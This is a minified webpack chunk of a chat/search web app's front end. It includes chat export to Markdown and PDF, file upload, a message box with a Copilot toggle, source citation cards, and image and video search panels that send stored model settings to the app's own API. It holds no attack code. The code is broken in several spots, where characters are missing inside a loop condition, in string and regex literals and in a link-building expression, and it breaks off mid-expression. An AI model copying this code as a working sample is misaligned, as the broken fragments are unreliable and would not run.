(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[225],{225:(e,t,a)=>{Promise.resolve().then(a.bind(a,3225))},3225:(e,t,a)=>{"use strict";a.d(t,{default:()=>e_});var s=a(95155),l=a(12115),r=a(13717),i=a(14186),n=a(36683),o=a(57434),d=a(23837),c=a(59434),x=a(60671),m=a(521),h=a(4772),u=a(26597);let g=(e,t,a)=>{let s=new Blob([t],{type:a}),l=URL.createObjectURL(s),r=document.createElement("a");r.href=l,r.download=e,document.body.appendChild(r),r.click(),setTimeout(()=>{document.body.removeChild(r),URL.revokeObjectURL(l)},0)},f=(e,t)=>{var a;let s=new Date((null===(a=e[0])||void 0===a?void 0:a.createdAt)||Date.now()).toLocaleString(),l="# \uD83D\uDCAC Chat Export: ".concat(t,"\n\n");l+="*Exported on: ".concat(s,"*\n\n---\n"),e.forEach((e,t)=>{l+="\n---\n",l+="**".concat("user"===e.role?"\uD83E\uDDD1 User":"\uD83E\uDD16 Assistant","** \n"),l+="*".concat(new Date(e.createdAt).toLocaleString(),"*\n\n"),l+="> ".concat(e.content.replace(/\n/g,"\n> "),"\n"),e.sources&&e.sources.length>0&&(l+="\n**Citations:**\n",e.sources.forEach((e,t)=>{var a;let s=(null===(a=e.metadata)||void 0===a?void 0:a.url)||"";l+="- [".concat(t+1,"] [").concat(s,"](").concat(s,")\n")}))}),l+="\n---\n",g("".concat(t||"chat",".md"),l,"text/markdown")},p=(e,t)=>{var a;let s=new u.Ay,l=new Date((null===(a=e[0])||void 0===a?void 0:a.createdAt)||Date.now()).toLocaleString(),r=15,i=s.internal.pageSize.height;s.setFontSize(18),s.text("Chat Export: ".concat(t),10,r),r+=8,s.setFontSize(11),s.setTextColor(100),s.text("Exported on: ".concat(l),10,r),r+=8,s.setDrawColor(200),s.line(10,r,200,r),r+=6,s.setTextColor(30),e.forEach((e,t)=>{r>i-30&&(s.addPage(),r=15),s.setFont("helvetica","bold"),s.text("".concat("user"===e.role?"User":"Assistant"),10,r),s.setFont("helvetica","normal"),s.setFontSize(10),s.setTextColor(120),s.text("".concat(new Date(e.createdAt).toLocaleString()),40,r),r+=6,s.setTextColor(30),s.setFontSize(12);let a=s.splitTextToSize(e.content,180);for(let e=0;ei-20&&(s.addPage(),r=15),s.text(a[e],12,r),r+=6;e.sources&&e.sources.length>0&&(s.setFontSize(11),s.setTextColor(80),r>i-20&&(s.addPage(),r=15),s.text("Citations:",12,r),r+=5,e.sources.forEach((e,t)=>{var a;let l=(null===(a=e.metadata)||void 0===a?void 0:a.url)||"";r>i-15&&(s.addPage(),r=15),s.text("- [".concat(t+1,"] ").concat(l),15,r),r+=5}),s.setTextColor(30)),r+=6,s.setDrawColor(230),r>i-10&&(s.addPage(),r=15),s.line(10,r,200,r),r+=4}),s.save("".concat(t||"chat",".pdf"))},b=e=>{let{chatId:t,messages:a}=e,[u,g]=(0,l.useState)(""),[b,w]=(0,l.useState)("");return(0,l.useEffect)(()=>{a.length>0&&(g(a[0].content.length>20?"".concat(a[0].content.substring(0,20).trim(),"..."):a[0].content),w((0,c.S)(new Date,a[0].createdAt)))},[a]),(0,l.useEffect)(()=>{let e=setInterval(()=>{a.length>0&&w((0,c.S)(new Date,a[0].createdAt))},1e3);return()=>clearInterval(e)},[]),(0,s.jsxs)("div",{className:"fixed z-40 top-0 left-0 right-0 px-4 lg:pl-[104px] lg:pr-6 lg:px-8 flex flex-row items-center justify-between w-full py-4 text-sm text-black dark:text-white/70 border-b bg-light-primary dark:bg-dark-primary border-light-100 dark:border-dark-200",children:[(0,s.jsx)("a",{href:"/",className:"active:scale-95 transition duration-100 cursor-pointer lg:hidden",children:(0,s.jsx)(r.A,{size:17})}),(0,s.jsxs)("div",{className:"hidden lg:flex flex-row items-center justify-center space-x-2",children:[(0,s.jsx)(i.A,{size:17}),(0,s.jsxs)("p",{className:"text-xs",children:[b," ago"]})]}),(0,s.jsx)("p",{className:"hidden lg:flex",children:u}),(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-4",children:[(0,s.jsxs)(m.AM,{className:"relative",children:[(0,s.jsx)(m.ut,{className:"active:scale-95 transition duration-100 cursor-pointer p-2 rounded-full hover:bg-light-secondary dark:hover:bg-dark-secondary",children:(0,s.jsx)(n.A,{size:17})}),(0,s.jsx)(h.e,{as:l.Fragment,enter:"transition ease-out duration-100",enterFrom:"opacity-0 translate-y-1",enterTo:"opacity-100 translate-y-0",leave:"transition ease-in duration-75",leaveFrom:"opacity-100 translate-y-0",leaveTo:"opacity-0 translate-y-1",children:(0,s.jsx)(m.QT,{className:"absolute right-0 mt-2 w-64 rounded-xl shadow-xl bg-light-primary dark:bg-dark-primary border border-light-200 dark:border-dark-200 z-50",children:(0,s.jsxs)("div",{className:"flex flex-col py-3 px-3 gap-2",children:[(0,s.jsxs)("button",{className:"flex items-center gap-2 px-4 py-2 text-left hover:bg-light-secondary dark:hover:bg-dark-secondary transition-colors text-black dark:text-white rounded-lg font-medium",onClick:()=>f(a,u||""),children:[(0,s.jsx)(o.A,{size:17,className:"text-[#24A0ED]"}),"Export as Markdown"]}),(0,s.jsxs)("button",{className:"flex items-center gap-2 px-4 py-2 text-left hover:bg-light-secondary dark:hover:bg-dark-secondary transition-colors text-black dark:text-white rounded-lg font-medium",onClick:()=>p(a,u||""),children:[(0,s.jsx)(d.A,{size:17,className:"text-[#24A0ED]"}),"Export as PDF"]})]})})})]}),(0,s.jsx)(x.A,{redirect:!0,chatId:t,chats:[],setChats:()=>{}})]})]})};var w=a(39881),v=a(85958),k=a(32636);let j=e=>{let{copilotEnabled:t,setCopilotEnabled:a}=e;return(0,s.jsxs)("div",{className:"group flex flex-row items-center space-x-1 active:scale-95 duration-200 transition cursor-pointer",children:[(0,s.jsxs)(k.dO,{checked:t,onChange:a,className:"bg-light-secondary dark:bg-dark-secondary border border-light-200/70 dark:border-dark-200 relative inline-flex h-5 w-10 sm:h-6 sm:w-11 items-center rounded-full",children:[(0,s.jsx)("span",{className:"sr-only",children:"Copilot"}),(0,s.jsx)("span",{className:(0,c.cn)(t?"translate-x-6 bg-[#24A0ED]":"translate-x-1 bg-black/50 dark:bg-white/50","inline-block h-3 w-3 sm:h-4 sm:w-4 transform rounded-full transition-all duration-200")})]}),(0,s.jsx)("p",{onClick:()=>a(!t),className:(0,c.cn)("text-xs font-medium transition-colors duration-150 ease-in-out",t?"text-[#24A0ED]":"text-black/50 dark:text-white/50 group-hover:text-black dark:group-hover:text-white"),children:"Copilot"})]})};var y=a(51154),N=a(99890),S=a(84616),A=a(74126),I=a(18084);let C=e=>{let{fileIds:t,setFileIds:a,files:r,setFiles:i}=e,[n,o]=(0,l.useState)(!1),d=(0,l.useRef)(),c=async e=>{o(!0);let s=new FormData;for(let t=0;te.fileId)]),o(!1)};return n?(0,s.jsx)("div",{className:"flex flex-row items-center justify-between space-x-1 p-1",children:(0,s.jsx)(y.A,{size:20,className:"text-sky-400 animate-spin"})}):r.length>0?(0,s.jsxs)(m.AM,{className:"max-w-[15rem] md:max-w-md lg:max-w-lg",children:[(0,s.jsx)(m.ut,{type:"button",className:"flex flex-row items-center justify-between space-x-1 p-1 text-black/50 dark:text-white/50 rounded-xl hover:bg-light-secondary dark:hover:bg-dark-secondary active:scale-95 transition duration-200 hover:text-black dark:hover:text-white",children:(0,s.jsx)(N.A,{size:20,className:"text-sky-400"})}),(0,s.jsx)(h.e,{as:l.Fragment,enter:"transition ease-out duration-150",enterFrom:"opacity-0 translate-y-1",enterTo:"opacity-100 translate-y-0",leave:"transition ease-in duration-150",leaveFrom:"opacity-100 translate-y-0",leaveTo:"opacity-0 translate-y-1",children:(0,s.jsx)(m.QT,{className:"absolute z-10 w-64 md:w-[350px] bottom-14 -ml-3",children:(0,s.jsxs)("div",{className:"bg-light-primary dark:bg-dark-primary border rounded-md border-light-200 dark:border-dark-200 w-full max-h-[200px] md:max-h-none overflow-y-auto flex flex-col",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center justify-between px-3 py-2",children:[(0,s.jsx)("h4",{className:"text-black dark:text-white font-medium text-sm",children:"Attached files"}),(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-4",children:[(0,s.jsxs)("button",{type:"button",onClick:()=>d.current.click(),className:"flex flex-row items-center space-x-1 text-black/70 dark:text-white/70 hover:text-black hover:dark:text-white transition duration-200",children:[(0,s.jsx)("input",{type:"file",onChange:c,ref:d,accept:".pdf,.docx,.txt",multiple:!0,hidden:!0}),(0,s.jsx)(S.A,{size:18}),(0,s.jsx)("p",{className:"text-xs",children:"Add"})]}),(0,s.jsxs)("button",{onClick:()=>{i([]),a([])},className:"flex flex-row items-center space-x-1 text-black/70 dark:text-white/70 hover:text-black hover:dark:text-white transition duration-200",children:[(0,s.jsx)(A.A,{size:14}),(0,s.jsx)("p",{className:"text-xs",children:"Clear"})]})]})]}),(0,s.jsx)("div",{className:"h-[0.5px] mx-2 bg-white/10"}),(0,s.jsx)("div",{className:"flex flex-col items-center",children:r.map((e,t)=>(0,s.jsxs)("div",{className:"flex flex-row items-center justify-start w-full space-x-3 p-3",children:[(0,s.jsx)("div",{className:"bg-dark-100 flex items-center justify-center w-10 h-10 rounded-md",children:(0,s.jsx)(N.A,{size:16,className:"text-white/70"})}),(0,s.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:e.fileName.length>25?e.fileName.replace(/\.\w+$/,"").substring(0,25)+"..."+e.fileExtension:e.fileName})]},t))})]})})})]}):(0,s.jsxs)("button",{type:"button",onClick:()=>d.current.click(),className:"flex flex-row items-center space-x-1 text-black/50 dark:text-white/50 rounded-xl hover:bg-light-secondary dark:hover:bg-dark-secondary transition duration-200 hover:text-black dark:hover:text-white p-1",children:[(0,s.jsx)("input",{type:"file",onChange:c,ref:d,accept:".pdf,.docx,.txt",multiple:!0,hidden:!0}),(0,s.jsx)(I.A,{size:20})]})},z=e=>{let{sendMessage:t,loading:a,fileIds:r,setFileIds:i,files:n,setFiles:o}=e,[d,x]=(0,l.useState)(!1),[m,h]=(0,l.useState)(""),[u,g]=(0,l.useState)(1),[f,p]=(0,l.useState)("single");(0,l.useEffect)(()=>{u>=2&&m&&"single"===f?p("multi"):m||"multi"!==f||p("single")},[u,f,m]);let b=(0,l.useRef)(null);return(0,l.useEffect)(()=>{let e=e=>{let t=document.activeElement,a=(null==t?void 0:t.tagName)==="INPUT"||(null==t?void 0:t.tagName)==="TEXTAREA"||(null==t?void 0:t.hasAttribute("contenteditable"));if("/"===e.key&&!a){var s;e.preventDefault(),null===(s=b.current)||void 0===s||s.focus()}};return document.addEventListener("keydown",e),()=>{document.removeEventListener("keydown",e)}},[]),(0,s.jsxs)("form",{onSubmit:e=>{a||(e.preventDefault(),t(m),h(""))},onKeyDown:e=>{"Enter"!==e.key||e.shiftKey||a||(e.preventDefault(),t(m),h(""))},className:(0,c.cn)("bg-light-secondary dark:bg-dark-secondary p-4 flex items-center overflow-hidden border border-light-200 dark:border-dark-200","multi"===f?"flex-col rounded-lg":"flex-row rounded-full"),children:["single"===f&&(0,s.jsx)(C,{fileIds:r,setFileIds:i,files:n,setFiles:o}),(0,s.jsx)(v.A,{ref:b,value:m,onChange:e=>h(e.target.value),onHeightChange:(e,t)=>{g(Math.ceil(e/t.rowHeight))},className:"transition bg-transparent dark:placeholder:text-white/50 placeholder:text-sm text-sm dark:text-white resize-none focus:outline-none w-full px-2 max-h-24 lg:max-h-36 xl:max-h-48 flex-grow flex-shrink",placeholder:"Ask a follow-up"}),"single"===f&&(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-4",children:[(0,s.jsx)(j,{copilotEnabled:d,setCopilotEnabled:x}),(0,s.jsx)("button",{disabled:0===m.trim().length||a,className:"bg-[#24A0ED] text-white disabled:text-black/50 dark:disabled:text-white/50 hover:bg-opacity-85 transition duration-100 disabled:bg-[#e0e0dc79] dark:disabled:bg-[#ececec21] rounded-full p-2",children:(0,s.jsx)(w.A,{className:"bg-background",size:17})})]}),"multi"===f&&(0,s.jsxs)("div",{className:"flex flex-row items-center justify-between w-full pt-2",children:[(0,s.jsx)(C,{fileIds:r,setFileIds:i,files:n,setFiles:o}),(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-4",children:[(0,s.jsx)(j,{copilotEnabled:d,setCopilotEnabled:x}),(0,s.jsx)("button",{disabled:0===m.trim().length||a,className:"bg-[#24A0ED] text-white text-black/50 dark:disabled:text-white/50 hover:bg-opacity-85 transition duration-100 disabled:bg-[#e0e0dc79] dark:disabled:bg-[#ececec21] rounded-full p-2",children:(0,s.jsx)(w.A,{className:"bg-background",size:17})})]})]})]})};var F=a(79377),E=a(27461),M=a(22431),T=a(15273),D=a(20590),O=a(41573),P=a(5196),_=a(25273);let L=e=>{let{message:t,initialMessage:a}=e,[r,i]=(0,l.useState)(!1);return(0,s.jsx)("button",{onClick:()=>{var e;let s="".concat(a).concat(t.sources&&t.sources.length>0&&"\n\nCitations:\n".concat(null===(e=t.sources)||void 0===e?void 0:e.map((e,t)=>"[".concat(t+1,"] ").concat(e.metadata.url)).join("\n")));navigator.clipboard.writeText(s),i(!0),setTimeout(()=>i(!1),1e3)},className:"p-2 text-black/70 dark:text-white/70 rounded-xl hover:bg-light-secondary dark:hover:bg-dark-secondary transition duration-200 hover:text-black dark:hover:text-white",children:r?(0,s.jsx)(P.A,{size:18}):(0,s.jsx)(_.A,{size:18})})};var R=a(70686);let B=e=>{let{rewrite:t,messageId:a}=e;return(0,s.jsxs)("button",{onClick:()=>t(a),className:"py-2 px-3 text-black/70 dark:text-white/70 rounded-xl hover:bg-light-secondary dark:hover:bg-dark-secondary transition duration-200 hover:text-black dark:hover:text-white flex flex-row items-center space-x-1",children:[(0,s.jsx)(R.A,{size:18}),(0,s.jsx)("p",{className:"text-xs font-medium",children:"Rewrite"})]})};var U=a(36164);let q=e=>{let{sources:t}=e,[a,r]=(0,l.useState)(!1);return(0,s.jsxs)("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-2",children:[t.slice(0,3).map((e,t)=>(0,s.jsxs)("a",{className:"bg-light-100 hover:bg-light-200 dark:bg-dark-100 dark:hover:bg-dark-200 transition duration-200 rounded-lg p-3 flex flex-col space-y-2 font-medium",href:e.metadata.url,target:"_blank",children:[(0,s.jsx)("p",{className:"dark:text-white text-xs overflow-hidden whitespace-nowrap text-ellipsis",children:e.metadata.title}),(0,s.jsxs)("div",{className:"flex flex-row items-center justify-between",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-1",children:["File"===e.metadata.url?(0,s.jsx)("div",{className:"bg-dark-200 hover:bg-dark-100 transition duration-200 flex items-center justify-center w-6 h-6 rounded-full",children:(0,s.jsx)(N.A,{size:12,className:"text-white/70"})}):(0,s.jsx)("img",{src:"https://s2.googleusercontent.com/s2/favicons?domain_url=".concat(e.metadata.url),width:16,height:16,alt:"favicon",className:"rounded-lg h-4 w-4"}),(0,s.jsx)("p",{className:"text-xs text-black/50 dark:text-white/50 overflow-hidden whitespace-nowrap text-ellipsis",children:e.metadata.url.replace(/.+\/\/|www.|\..+/g,"")})]}),(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-1 text-black/50 dark:text-white/50 text-xs",children:[(0,s.jsx)("div",{className:"bg-black/50 dark:bg-white/50 h-[4px] w-[4px] rounded-full"}),(0,s.jsx)("span",{children:t+1})]})]})]},t)),t.length>3&&(0,s.jsxs)("button",{onClick:()=>{r(!0),document.body.classList.add("overflow-hidden-scrollable")},className:"bg-light-100 hover:bg-light-200 dark:bg-dark-100 dark:hover:bg-dark-200 transition duration-200 rounded-lg p-3 flex flex-col space-y-2 font-medium",children:[(0,s.jsx)("div",{className:"flex flex-row items-center space-x-1",children:t.slice(3,6).map((e,t)=>"File"===e.metadata.url?(0,s.jsx)("div",{className:"bg-dark-200 hover:bg-dark-100 transition duration-200 flex items-center justify-center w-6 h-6 rounded-full",children:(0,s.jsx)(N.A,{size:12,className:"text-white/70"})},t):(0,s.jsx)("img",{src:"https://s2.googleusercontent.com/s2/favicons?domain_url=".concat(e.metadata.url),width:16,height:16,alt:"favicon",className:"rounded-lg h-4 w-4"},t))}),(0,s.jsxs)("p",{className:"text-xs text-black/50 dark:text-white/50",children:["View ",t.length-3," more"]})]}),(0,s.jsx)(h.e,{appear:!0,show:a,as:l.Fragment,children:(0,s.jsx)(U.lG,{as:"div",className:"relative z-50",onClose:()=>{r(!1),document.body.classList.remove("overflow-hidden-scrollable")},children:(0,s.jsx)("div",{className:"fixed inset-0 overflow-y-auto",children:(0,s.jsx)("div",{className:"flex min-h-full items-center justify-center p-4 text-center",children:(0,s.jsx)(h._,{as:l.Fragment,enter:"ease-out duration-200",enterFrom:"opacity-0 scale-95",enterTo:"opacity-100 scale-100",leave:"ease-in duration-100",leaveFrom:"opacity-100 scale-200",leaveTo:"opacity-0 scale-95",children:(0,s.jsxs)(U.Lj,{className:"w-full max-w-md transform rounded-2xl bg-light-secondary dark:bg-dark-secondary border border-light-200 dark:border-dark-200 p-6 text-left align-middle shadow-xl transition-all",children:[(0,s.jsx)(U.L3,{className:"text-lg font-medium leading-6 dark:text-white",children:"Sources"}),(0,s.jsx)("div",{className:"grid grid-cols-2 gap-2 overflow-auto max-h-[300px] mt-2 pr-2",children:t.map((e,t)=>(0,s.jsxs)("a",{className:"bg-light-secondary hover:bg-light-200 dark:bg-dark-secondary dark:hover:bg-dark-200 border border-light-200 dark:border-dark-200 transition duration-200 rounded-lg p-3 flex flex-col space-y-2 font-medium",href:e.metadata.url,target:"_blank",children:[(0,s.jsx)("p",{className:"dark:text-white text-xs overflow-hidden whitespace-nowrap text-ellipsis",children:e.metadata.title}),(0,s.jsxs)("div",{className:"flex flex-row items-center justify-between",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-1",children:["File"===e.metadata.url?(0,s.jsx)("div",{className:"bg-dark-200 hover:bg-dark-100 transition duration-200 flex items-center justify-center w-6 h-6 rounded-full",children:(0,s.jsx)(N.A,{size:12,className:"text-white/70"})}):(0,s.jsx)("img",{src:"https://s2.googleusercontent.com/s2/favicons?domain_url=".concat(e.metadata.url),width:16,height:16,alt:"favicon",className:"rounded-lg h-4 w-4"}),(0,s.jsx)("p",{className:"text-xs text-black/50 dark:text-white/50 overflow-hidden whitespace-nowrap text-ellipsis",children:e.metadata.url.replace(/.+\/\/|www.|\..+/g,"")})]}),(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-1 text-black/50 dark:text-white/50 text-xs",children:[(0,s.jsx)("div",{className:"bg-black/50 dark:bg-white/50 h-[4px] w-[4px] rounded-full"}),(0,s.jsx)("span",{children:t+1})]})]})]},t))})]})})})})})})]})};var V=a(35562),K=a(75780);a(58561);let H=e=>{let{query:t,chatHistory:a,messageId:r}=e,[i,n]=(0,l.useState)(null),[o,d]=(0,l.useState)(!1),[c,x]=(0,l.useState)(!1),[m,h]=(0,l.useState)([]);return(0,s.jsxs)(s.Fragment,{children:[!o&&null===i&&(0,s.jsxs)("button",{id:"search-images-".concat(r),onClick:async()=>{var e;d(!0);let s=localStorage.getItem("chatModelProvider"),l=localStorage.getItem("chatModel"),r=localStorage.getItem("openAIBaseURL"),i=localStorage.getItem("openAIApiKey"),o=await fetch("/api/images",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({query:t,chatHistory:a,chatModel:{provider:s,model:l,..."custom_openai"===s&&{customOpenAIBaseURL:r,customOpenAIKey:i}}})}),c=null!==(e=(await o.json()).images)&&void 0!==e?e:[];n(c),h(c.map(e=>({src:e.img_src}))),d(!1)},className:"border border-dashed border-light-200 dark:border-dark-200 hover:bg-light-200 dark:hover:bg-dark-200 active:scale-95 duration-200 transition px-4 py-2 flex flex-row items-center justify-between rounded-lg dark:text-white text-sm w-full",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-2",children:[(0,s.jsx)(V.A,{size:17}),(0,s.jsx)("p",{children:"Search images"})]}),(0,s.jsx)(S.A,{className:"text-[#24A0ED]",size:17})]}),o&&(0,s.jsx)("div",{className:"grid grid-cols-2 gap-2",children:[void 0,void 0,void 0,void 0].map((e,t)=>(0,s.jsx)("div",{className:"bg-light-secondary dark:bg-dark-secondary h-32 w-full rounded-lg animate-pulse aspect-video object-cover"},t))}),null!==i&&i.length>0&&(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)("div",{className:"grid grid-cols-2 gap-2",children:[i.length>4?i.slice(0,3).map((e,t)=>(0,s.jsx)("img",{onClick:()=>{x(!0),h([m[t],...m.slice(0,t),...m.slice(t+1)])},src:e.img_src,alt:e.title,className:"h-full w-full aspect-video object-cover rounded-lg transition duration-200 active:scale-95 hover:scale-[1.02] cursor-zoom-in"},t)):i.map((e,t)=>(0,s.jsx)("img",{onClick:()=>{x(!0),h([m[t],...m.slice(0,t),...m.slice(t+1)])},src:e.img_src,alt:e.title,className:"h-full w-full aspect-video object-cover rounded-lg transition duration-200 active:scale-95 hover:scale-[1.02] cursor-zoom-in"},t)),i.length>4&&(0,s.jsxs)("button",{onClick:()=>x(!0),className:"bg-light-100 hover:bg-light-200 dark:bg-dark-100 dark:hover:bg-dark-200 transition duration-200 active:scale-95 hover:scale-[1.02] h-auto w-full rounded-lg flex flex-col justify-between text-white p-2",children:[(0,s.jsx)("div",{className:"flex flex-row items-center space-x-1",children:i.slice(3,6).map((e,t)=>(0,s.jsx)("img",{src:e.img_src,alt:e.title,className:"h-6 w-12 rounded-md lg:h-3 lg:w-6 lg:rounded-sm aspect-video object-cover"},t))}),(0,s.jsxs)("p",{className:"text-black/70 dark:text-white/70 text-xs",children:["View ",i.length-3," more"]})]})]}),(0,s.jsx)(K.Ay,{open:c,close:()=>x(!1),slides:m})]})]})};var J=a(9803),Q=a(28833);let G=e=>{let{query:t,chatHistory:a,messageId:r}=e,[i,n]=(0,l.useState)(null),[o,d]=(0,l.useState)(!1),[c,x]=(0,l.useState)(!1),[m,h]=(0,l.useState)([]),[u,g]=(0,l.useState)(0),f=(0,l.useRef)([]);return(0,s.jsxs)(s.Fragment,{children:[!o&&null===i&&(0,s.jsxs)("button",{id:"search-videos-".concat(r),onClick:async()=>{var e;d(!0);let s=localStorage.getItem("chatModelProvider"),l=localStorage.getItem("chatModel"),r=localStorage.getItem("openAIBaseURL"),i=localStorage.getItem("openAIApiKey"),o=await fetch("/api/videos",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({query:t,chatHistory:a,chatModel:{provider:s,model:l,..."custom_openai"===s&&{customOpenAIBaseURL:r,customOpenAIKey:i}}})}),c=null!==(e=(await o.json()).videos)&&void 0!==e?e:[];n(c),h(c.map(e=>({type:"video-slide",iframe_src:e.iframe_src,src:e.img_src}))),d(!1)},className:"border border-dashed border-light-200 dark:border-dark-200 hover:bg-light-200 dark:hover:bg-dark-200 active:scale-95 duration-200 transition px-4 py-2 flex flex-row items-center justify-between rounded-lg dark:text-white text-sm w-full",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-2",children:[(0,s.jsx)(J.A,{size:17}),(0,s.jsx)("p",{children:"Search videos"})]}),(0,s.jsx)(S.A,{className:"text-[#24A0ED]",size:17})]}),o&&(0,s.jsx)("div",{className:"grid grid-cols-2 gap-2",children:[void 0,void 0,void 0,void 0].map((e,t)=>(0,s.jsx)("div",{className:"bg-light-secondary dark:bg-dark-secondary h-32 w-full rounded-lg animate-pulse aspect-video object-cover"},t))}),null!==i&&i.length>0&&(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)("div",{className:"grid grid-cols-2 gap-2",children:[i.length>4?i.slice(0,3).map((e,t)=>(0,s.jsxs)("div",{onClick:()=>{x(!0),h([m[t],...m.slice(0,t),...m.slice(t+1)])},className:"relative transition duration-200 active:scale-95 hover:scale-[1.02] cursor-pointer",children:[(0,s.jsx)("img",{src:e.img_src,alt:e.title,className:"relative h-full w-full aspect-video object-cover rounded-lg"}),(0,s.jsxs)("div",{className:"absolute bg-white/70 dark:bg-black/70 text-black/70 dark:text-white/70 px-2 py-1 flex flex-row items-center space-x-1 bottom-1 right-1 rounded-md",children:[(0,s.jsx)(Q.A,{size:15}),(0,s.jsx)("p",{className:"text-xs",children:"Video"})]})]},t)):i.map((e,t)=>(0,s.jsxs)("div",{onClick:()=>{x(!0),h([m[t],...m.slice(0,t),...m.slice(t+1)])},className:"relative transition duration-200 active:scale-95 hover:scale-[1.02] cursor-pointer",children:[(0,s.jsx)("img",{src:e.img_src,alt:e.title,className:"relative h-full w-full aspect-video object-cover rounded-lg"}),(0,s.jsxs)("div",{className:"absolute bg-white/70 dark:bg-black/70 text-black/70 dark:text-white/70 px-2 py-1 flex flex-row items-center space-x-1 bottom-1 right-1 rounded-md",children:[(0,s.jsx)(Q.A,{size:15}),(0,s.jsx)("p",{className:"text-xs",children:"Video"})]})]},t)),i.length>4&&(0,s.jsxs)("button",{onClick:()=>x(!0),className:"bg-light-100 hover:bg-light-200 dark:bg-dark-100 dark:hover:bg-dark-200 transition duration-200 active:scale-95 hover:scale-[1.02] h-auto w-full rounded-lg flex flex-col justify-between text-white p-2",children:[(0,s.jsx)("div",{className:"flex flex-row items-center space-x-1",children:i.slice(3,6).map((e,t)=>(0,s.jsx)("img",{src:e.img_src,alt:e.title,className:"h-6 w-12 rounded-md lg:h-3 lg:w-6 lg:rounded-sm aspect-video object-cover"},t))}),(0,s.jsxs)("p",{className:"text-black/70 dark:text-white/70 text-xs",children:["View ",i.length-3," more"]})]})]}),(0,s.jsx)(K.Ay,{open:c,close:()=>x(!1),slides:m,index:u,on:{view:e=>{let{index:t}=e,a=f.current[u];(null==a?void 0:a.contentWindow)&&a.contentWindow.postMessage('{"event":"command","func":"pauseVideo","args":""}',"*"),g(t)}},render:{slide:e=>{let{slide:t}=e,a=m.findIndex(e=>e===t);return"video-slide"===t.type?(0,s.jsx)("div",{className:"h-full w-full flex flex-row items-center justify-center",children:(0,s.jsx)("iframe",{src:"".concat(t.iframe_src).concat(t.iframe_src.includes("?")?"&":"?","enablejsapi=1"),ref:e=>{e&&(f.current[a]=e)},className:"aspect-video max-h-[95vh] w-[95vw] rounded-2xl md:w-[80vw]",allowFullScreen:!0,allow:"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture"})}):null}}})]})]})};var W=a(69460),X=a(25830),Z=a(47863),$=a(66474);let Y=e=>{let{content:t}=e,[a,r]=(0,l.useState)(!1);return(0,s.jsxs)("div",{className:"my-4 bg-light-secondary/50 dark:bg-dark-secondary/50 rounded-xl border border-light-200 dark:border-dark-200 overflow-hidden",children:[(0,s.jsxs)("button",{onClick:()=>r(!a),className:"w-full flex items-center justify-between px-4 py-1 text-black/90 dark:text-white/90 hover:bg-light-200 dark:hover:bg-dark-200 transition duration-200",children:[(0,s.jsxs)("div",{className:"flex items-center space-x-2",children:[(0,s.jsx)(X.A,{size:20,className:"text-[#9C27B0] dark:text-[#CE93D8]"}),(0,s.jsx)("p",{className:"font-medium text-sm",children:"Thinking Process"})]}),a?(0,s.jsx)(Z.A,{size:18,className:"text-black/70 dark:text-white/70"}):(0,s.jsx)($.A,{size:18,className:"text-black/70 dark:text-white/70"})]}),a&&(0,s.jsx)("div",{className:"px-4 py-3 text-black/80 dark:text-white/80 text-sm border-t border-light-200 dark:border-dark-200 bg-light-100/50 dark:bg-dark-100/50 whitespace-pre-wrap",children:t})]})},ee=e=>{let{children:t}=e;return(0,s.jsx)(Y,{content:t})},et=e=>{let{message:t,messageIndex:a,history:r,loading:i,dividerRef:n,isLast:o,rewrite:d,sendMessage:x}=e,[m,h]=(0,l.useState)(t.content),[u,g]=(0,l.useState)(t.content);(0,l.useEffect)(()=>{let e=/\[(\d+)\]/g,a=t.content;if("assistant"===t.role&&t.content.includes("")){var s,l;((null===(s=a.match(//g))||void 0===s?void 0:s.length)||0)>((null===(l=a.match(/<\/think>/g))||void 0===l?void 0:l.length)||0)&&(a+=" ")}if("assistant"===t.role&&(null==t?void 0:t.sources)&&t.sources.length>0){h(a.replace(/\[([^\]]+)\]/g,(e,a)=>a.split(",").map(e=>e.trim()).map(e=>{var a,s;let l=parseInt(e);if(isNaN(l)||l<=0)return"[".concat(e,"]");let r=null===(a=t.sources)||void 0===a?void 0:a[l-1],i=null==r?void 0:null===(s=r.metadata)||void 0===s?void 0:s.url;return i?'').concat(e,""):"[".concat(e,"]")}).join(""))),g(t.content.replace(e,""));return}g(t.content.replace(e,"")),h(a)},[t.content,t.sources,t.role]);let{speechStatus:f,start:p,stop:b}=(0,W.mt)({text:u});return(0,s.jsxs)("div",{children:["user"===t.role&&(0,s.jsx)("div",{className:(0,c.cn)("w-full",0===a?"pt-16":"pt-8","break-words"),children:(0,s.jsx)("h2",{className:"text-black dark:text-white font-medium text-3xl lg:w-9/12",children:t.content})}),"assistant"===t.role&&(0,s.jsxs)("div",{className:"flex flex-col space-y-9 lg:space-y-0 lg:flex-row lg:justify-between lg:space-x-9",children:[(0,s.jsxs)("div",{ref:n,className:"flex flex-col space-y-6 w-full lg:w-9/12",children:[t.sources&&t.sources.length>0&&(0,s.jsxs)("div",{className:"flex flex-col space-y-2",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-2",children:[(0,s.jsx)(F.A,{className:"text-black dark:text-white",size:20}),(0,s.jsx)("h3",{className:"text-black dark:text-white font-medium text-xl",children:"Sources"})]}),(0,s.jsx)(q,{sources:t.sources})]}),(0,s.jsxs)("div",{className:"flex flex-col space-y-2",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-2",children:[(0,s.jsx)(E.A,{className:(0,c.cn)("text-black dark:text-white",o&&i?"animate-spin":"animate-none"),size:20}),(0,s.jsx)("h3",{className:"text-black dark:text-white font-medium 